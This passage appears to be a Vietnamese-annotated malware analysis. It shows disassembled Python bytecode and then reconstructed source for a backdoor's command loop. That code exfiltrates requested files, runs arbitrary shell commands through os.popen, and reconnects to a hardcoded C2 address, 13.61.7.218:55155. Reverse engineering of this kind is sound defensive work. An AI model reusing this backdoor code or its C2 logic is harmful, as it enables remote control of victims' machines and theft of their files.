POP_JUMP_IF_FALSE 31 (to L9)
// gửi lại check-ok đã được mã hoá (check health OK)
96 LOAD_GLOBAL 13 (enc_mes + NULL)
LOAD_CONST 9 ('check-ok')
LOAD_FAST 1 (k)
CALL 2
STORE_FAST 5 (enc_answ)
97 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_FAST 5 (enc_answ)
CALL 1
POP_TOP
L8: EXTENDED_ARG 1
JUMP_FORWARD 473 (to L23)
// C2 muốn gửi file, tiến hành chạy hàm receive_file trên 1 luồng khác, không thì xuống L11
98 L9: LOAD_FAST 2 (message)
LOAD_CONST 10 ('send_file')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 42 (to L11)
99 LOAD_GLOBAL 16 (threading)
LOAD_ATTR 18 (Thread)
PUSH_NULL
LOAD_GLOBAL 20 (receive_file)
LOAD_CONST 11 (('target',))
CALL_KW 1
STORE_FAST 6 (receive_file_thread)
100 LOAD_FAST 6 (receive_file_thread)
LOAD_ATTR 23 (start + NULL|self)
CALL 0
POP_TOP
L10: EXTENDED_ARG 1
JUMP_FORWARD 425 (to L23)
// C2 muốn exfil file từ server
101 L11: LOAD_FAST 2 (message)
LOAD_CONST 12 ('get_file')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 195 (to L18)
// Client đồng ý và sẵn sàng gửi file (gửi enc_mes('ok', k))
102 LOAD_GLOBAL 13 (enc_mes + NULL)
LOAD_CONST 13 ('ok')
LOAD_FAST 1 (k)
CALL 2
STORE_FAST 7 (okenc)
103 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_FAST 7 (okenc)
CALL 1
POP_TOP
104 NOP
105 L12: NOP
// nhân 1024 byte dữ liệu (đường dẫn file cần exfil)
106 L13: LOAD_FAST 0 (client)
LOAD_ATTR 1 (recv + NULL|self)
LOAD_CONST 1 (1024)
CALL 1
STORE_FAST 8 (path_to_file)
107 LOAD_GLOBAL 3 (dec_mes + NULL)
LOAD_FAST_LOAD_FAST 129 (path_to_file, k)
CALL 2
STORE_FAST 8 (path_to_file)
// Tiến hành mở file
110 LOAD_GLOBAL 25 (open + NULL)
LOAD_FAST 8 (path_to_file)
LOAD_CONST 14 ('rb')
CALL 2
BEFORE_WITH
L14: STORE_FAST 9 (f)
111 LOAD_FAST 9 (f)
LOAD_ATTR 27 (read + NULL|self)
CALL 0
STORE_FAST 10 (bytes_read)
110 L15: LOAD_CONST 0 (None)
LOAD_CONST 0 (None)
LOAD_CONST 0 (None)
CALL 2
POP_TOP
// Mã hoá file_size và dữ liệu dạng byte của file đó
112 L16: LOAD_GLOBAL 13 (enc_mes + NULL)
LOAD_FAST_CHECK 10 (bytes_read)
LOAD_FAST 1 (k)
CALL 2
STORE_FAST 11 (bytes_enc)
113 LOAD_GLOBAL 29 (len + NULL)
LOAD_FAST 11 (bytes_enc)
CALL 1
STORE_FAST 12 (filesize)
115 LOAD_GLOBAL 13 (enc_mes + NULL)
LOAD_FAST 12 (filesize)
FORMAT_SIMPLE
LOAD_FAST 1 (k)
CALL 2
STORE_FAST 12 (filesize)
// Gửi filesize đã được mã hoá để server chuẩn bị
117 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_FAST 12 (filesize)
CALL 1
POP_TOP
// Nhận vsb (có thể là tin nhắn đồng ý của bên C2)
119 LOAD_FAST 0 (client)
LOAD_ATTR 1 (recv + NULL|self)
LOAD_CONST 1 (1024)
CALL 1
STORE_FAST 13 (vsb)
120 LOAD_GLOBAL 3 (dec_mes + NULL)
LOAD_FAST_LOAD_FAST 209 (vsb, k)
CALL 2
STORE_FAST 13 (vsb)
// Gửi tất cả dữ liệu được mã hoá đi
122 LOAD_FAST 0 (client)
LOAD_ATTR 31 (sendall + NULL|self)
LOAD_FAST 11 (bytes_enc)
CALL 1
POP_TOP
123 L17: JUMP_FORWARD 224 (to L23)
// Nếu dữ liệu là rỗng, newline, hoặc None (connection failed hoặc EOF) thì xuống L23, không thì sẽ thử chạy bằng os.popen
131 L18: LOAD_FAST 2 (message)
LOAD_CONST 0 (None)
COMPARE_OP 119 (bool(!=))
POP_JUMP_IF_FALSE 218 (to L23)
LOAD_FAST 2 (message)
LOAD_CONST 17 ('')
COMPARE_OP 119 (bool(!=))
POP_JUMP_IF_FALSE 212 (to L23)
LOAD_FAST 2 (message)
LOAD_CONST 18 ('\n')
COMPARE_OP 119 (bool(!=))
POP_JUMP_IF_FALSE 206 (to L23)
132 L19: NOP
// os.popen(lệnh), lưu output vào biến answer.encode()
133 L20: LOAD_GLOBAL 34 (os)
LOAD_ATTR 36 (popen)
PUSH_NULL
LOAD_FAST 2 (message)
CALL 1
LOAD_ATTR 27 (read + NULL|self)
CALL 0
STORE_FAST 14 (answer)
// Check xem output có rỗng không, không rỗng thì xuống L22
135 LOAD_FAST 14 (answer)
LOAD_ATTR 33 (encode + NULL|self)
CALL 0
LOAD_CONST 2 (b'')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 33 (to L22)
// Rỗng thì gửi đi bad command
136 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_CONST 19 ('Bad command!')
LOAD_ATTR 33 (encode + NULL|self)
LOAD_CONST 20 ('ascii')
CALL 1
CALL 1
POP_TOP
L21: JUMP_FORWARD 116 (to L23)
// Không rỗng thì gửi len(output) đi
138 L22: LOAD_GLOBAL 13 (enc_mes + NULL)
LOAD_FAST_LOAD_FAST 225 (answer, k)
CALL 2
STORE_FAST 15 (enc_answer)
139 LOAD_GLOBAL 39 (str + NULL)
LOAD_GLOBAL 29 (len + NULL)
LOAD_FAST 15 (enc_answer)
CALL 1
CALL 1
STORE_FAST 16 (size)
140 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_FAST 16 (size)
LOAD_ATTR 33 (encode + NULL|self)
CALL 0
CALL 1
POP_TOP
// Nhận confirmation từ C2, tiến hành gửi output final đi
141 LOAD_FAST 0 (client)
LOAD_ATTR 1 (recv + NULL|self)
LOAD_CONST 1 (1024)
CALL 1
LOAD_ATTR 5 (decode + NULL|self)
CALL 0
STORE_FAST 17 (ch)
142 LOAD_FAST 17 (ch)
LOAD_CONST 13 ('ok')
COMPARE_OP 88 (bool(==))
POP_JUMP_IF_FALSE 17 (to L23)
143 LOAD_FAST 0 (client)
LOAD_ATTR 31 (sendall + NULL|self)
LOAD_FAST 15 (enc_answer)
CALL 1
POP_TOP
81 L23: EXTENDED_ARG 2
JUMP_BACKWARD 645 (to L1)
110 L24: PUSH_EXC_INFO
WITH_EXCEPT_START
TO_BOOL
POP_JUMP_IF_TRUE 1 (to L25)
RERAISE 2
L25: POP_TOP
L26: POP_EXCEPT
POP_TOP
POP_TOP
EXTENDED_ARG 1
JUMP_BACKWARD_NO_INTERRUPT 341 (to L16)
-- L27: COPY 3
POP_EXCEPT
RERAISE 1
L28: PUSH_EXC_INFO
124 POP_TOP
125 L29: NOP
126 L30: LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_CONST 15 ('Error uploading file')
LOAD_ATTR 33 (encode + NULL|self)
LOAD_CONST 16 ('utf-8')
CALL 1
CALL 1
POP_TOP
127 L31: POP_EXCEPT
L32: JUMP_BACKWARD 59 (to L23)
-- L33: PUSH_EXC_INFO
128 POP_TOP
129 L34: POP_EXCEPT
L35: POP_EXCEPT
L36: JUMP_BACKWARD 65 (to L23)
-- L37: COPY 3
POP_EXCEPT
RERAISE 1
L38: COPY 3
POP_EXCEPT
RERAISE 1
L39: PUSH_EXC_INFO
144 POP_TOP
145 L40: NOP
146 L41: LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_CONST 19 ('Bad command!')
LOAD_ATTR 33 (encode + NULL|self)
LOAD_CONST 20 ('ascii')
CALL 1
CALL 1
POP_TOP
L42: POP_EXCEPT
L43: JUMP_BACKWARD_NO_INTERRUPT 108 (to L23)
-- L44: PUSH_EXC_INFO
147 POP_TOP
148 L45: POP_EXCEPT
L46: POP_EXCEPT
L47: JUMP_BACKWARD_NO_INTERRUPT 113 (to L23)
-- L48: COPY 3
POP_EXCEPT
RERAISE 1
L49: COPY 3
POP_EXCEPT
RERAISE 1
L50: PUSH_EXC_INFO
149 POP_TOP
150 NOP
151 L51: NOP
// Trong trường hợp tệ nhất (bị exception), tiến hành handshake lại bằng cách gửi lại key mới
152 L52: LOAD_FAST 0 (client)
LOAD_ATTR 41 (close + NULL|self)
CALL 0
POP_TOP
153 LOAD_GLOBAL 42 (socket)
LOAD_ATTR 42 (socket)
PUSH_NULL
LOAD_GLOBAL 42 (socket)
LOAD_ATTR 44 (AF_INET)
LOAD_GLOBAL 42 (socket)
LOAD_ATTR 46 (SOCK_STREAM)
CALL 2
STORE_FAST 0 (client)
154 LOAD_FAST 0 (client)
LOAD_ATTR 49 (connect + NULL|self)
LOAD_CONST 21 (('13.61.7.218', 55155))
CALL 1
POP_TOP
155 LOAD_CONST 17 ('')
LOAD_ATTR 51 (join + NULL|self)
LOAD_CONST 22 (<code object <genexpr> at 0x0000000001A341A0, file "Py-Fuscate", line 155>)
MAKE_FUNCTION
LOAD_GLOBAL 53 (range + NULL)
LOAD_CONST 23 (16)
CALL 1
GET_ITER
CALL 0
CALL 1
STORE_FAST 1 (k)
156 LOAD_FAST 0 (client)
LOAD_ATTR 15 (send + NULL|self)
LOAD_GLOBAL 54 (user)
FORMAT_SIMPLE
LOAD_GLOBAL 56 (SEPARATOR)
FORMAT_SIMPLE
LOAD_FAST 1 (k)
FORMAT_SIMPLE
BUILD_STRING 3
LOAD_ATTR 33 (encode + NULL|self)
CALL 0
CALL 1
POP_TOP
157 LOAD_FAST 0 (client)
LOAD_ATTR 59 (settimeout + NULL|self)
LOAD_CONST 24 (600)
CALL 1
POP_TOP
158 LOAD_GLOBAL 6 (time)
LOAD_ATTR 8 (sleep)
PUSH_NULL
LOAD_CONST 25 (60)
CALL 1
POP_TOP
159 L53: POP_EXCEPT
EXTENDED_ARG 1
JUMP_BACKWARD 328 (to L23)
-- L54: PUSH_EXC_INFO
160 POP_TOP
161 LOAD_GLOBAL 6 (time)
LOAD_ATTR 8 (sleep)
PUSH_NULL
LOAD_CONST 25 (60)
CALL 1
POP_TOP
L55: POP_EXCEPT
JUMP_FORWARD 3 (to L57)
-- L56: COPY 3
POP_EXCEPT
RERAISE 1
150 L57: JUMP_BACKWARD 237 (to L51)
-- L58: COPY 3
POP_EXCEPT
RERAISE 1
Code python tương ứng của hàm này:
def receive(client, k):
while True:
try:
message = None
msg = client.recv(1024)
msg = dec_mes(msg, k)
message = msg.decode()
if msg == b'':
time.sleep(10)
s = 0
while msg == b'':
s += 1
msg = client.recv(1024)
if s == 300:
raise Exception("Reconnect!")
continue
if message == "check":
enc_answ = enc_mes("check-ok", k)
client.send(enc_answ)
elif message == "send_file":
receive_file_thread = threading.Thread(target=receive_file)
receive_file_thread.start()
elif message == "get_file":
okenc = enc_mes("ok", k)
client.send(okenc)
path_to_file = client.recv(1024)
path_to_file = dec_mes(path_to_file, k)
try:
with open(path_to_file, 'rb') as f:
bytes_read = f.read()
bytes_enc = enc_mes(bytes_read, k)
filesize = enc_mes(str(len(bytes_enc)), k)
client.send(filesize)
vsb = dec_mes(client.recv(1024), k)
client.sendall(bytes_enc)
except:
client.send("Error uploading file".encode("utf-8"))
elif message not in [None, '', '\n']:
try:
answer = os.popen(message).read()
if answer.encode() == b'':
client.send("Bad command!".encode("ascii"))
else:
enc_answer = enc_mes(answer, k)
size = str(len(enc_answer))
client.send(size.encode())
ch = client.recv(1024).decode()
if ch == "ok":
client.sendall(enc_answer)
except:
client.send("Bad command!".encode("ascii"))
except:
try:
client.close()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("13.61.7.218", 55155))
k = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))
client.send((str(user) + str(SEPARATOR) + str(k)).encode())
client.settimeout(600)
time.sleep(60)
except:
time.sleep(60)